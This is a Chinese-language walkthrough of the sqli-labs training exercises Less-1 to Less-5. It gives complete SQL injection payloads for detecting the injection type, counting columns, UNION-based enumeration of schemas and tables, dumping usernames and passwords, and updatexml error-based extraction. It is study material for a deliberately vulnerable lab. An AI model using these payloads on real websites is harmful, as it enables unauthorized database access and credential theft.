>>判断注入类型
判断方法
——字符型
输入?id=1' and '1'=1,页面正常下一步
继续输入?id=1' and '1'='2,页面错误,说明是字符型注入
——数字型
输入?id=1 and 1=1,页面正常下一步
继续输入?id=1 and 1=2,页面错误,说明是数字型注入
>>判断列数:? id=1 order by n
>>判断数据显示位置:?id=0 union select 1,2,3
>>查询所有的表名:
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')
>>查看user表中的列名
?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
>>查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
>>查看user表中的密码这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
sql注入基本语句:
order by 4 --+
--判断有多少列
union select 1,2,3 --+
--判断数据显示点
union select 1,user(),database() --+
--显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
--查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 --+
--查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
--查看账号密码信息
Less-1
题目要求输入ID作为参数和数值
输入?id=1 回显正常
输入?id=1' 回显报错
输入?id=1'--+ 回显正常
判断是字符型注入,闭合方式是'
判断列数
使用order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
由此我们可以确认列数为3(4报错)
>>?id=1' order by 1--+
>>?id=1' order by 2--+
>>?id=1' order by 3--+
>>?id=1' order by 4--+
所以列数为3
>>判断数据显示位置
?id=0' union select 1,2,3--+
然后便可以插入SQL的一些语句去查询更多信息
查找当前使用的数据库的名称
?id=-1' union select 1,2,database()--+
查询所有的库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询所有的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查找security数据库的信息
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
查看user表中的密码这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
Less-2
源码部分:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
进入页面,加上 ?id=1\ 判断闭合字符
发现是数字型的不需要闭合字符,我们直接进行order by 来判断出字段数为3
(剩下步骤同一)
Less-3
源码部分:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
如图判断出闭合字符为’)
说明是数字型注入
方法同上
Less-4
说明是数字型注入
方法同上
Less-5
1.首先传参,没问题
2.判断类型
输入?id=1' and 1=1 -- a,页面正常,
输入?id=1' and 1=2 -- a,页面异常,为单引号闭合
3.按第一题做到联合查询(判断出来有3个字段),发现页面没变说明没有显示位,这时要用盲注,如果会输出数据库报错,也可以用updatexml报错注入
>>
updatexml报错注入
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
输入?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- a
实际上是去更新xml文档,但是在xml文档路径位置里写入了子查询,输入了特殊字符,不符合输入规则就报错了,但是报错的时候已经执行了子查询代码,0x7e为16进制的~ ~中的就是库名
<<
4.查询表名
再输入?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) -- a
5.查询列名
再输入?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- a,看到emalis表里有有个id字段
6.输入?id=1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- a,看到有1的数据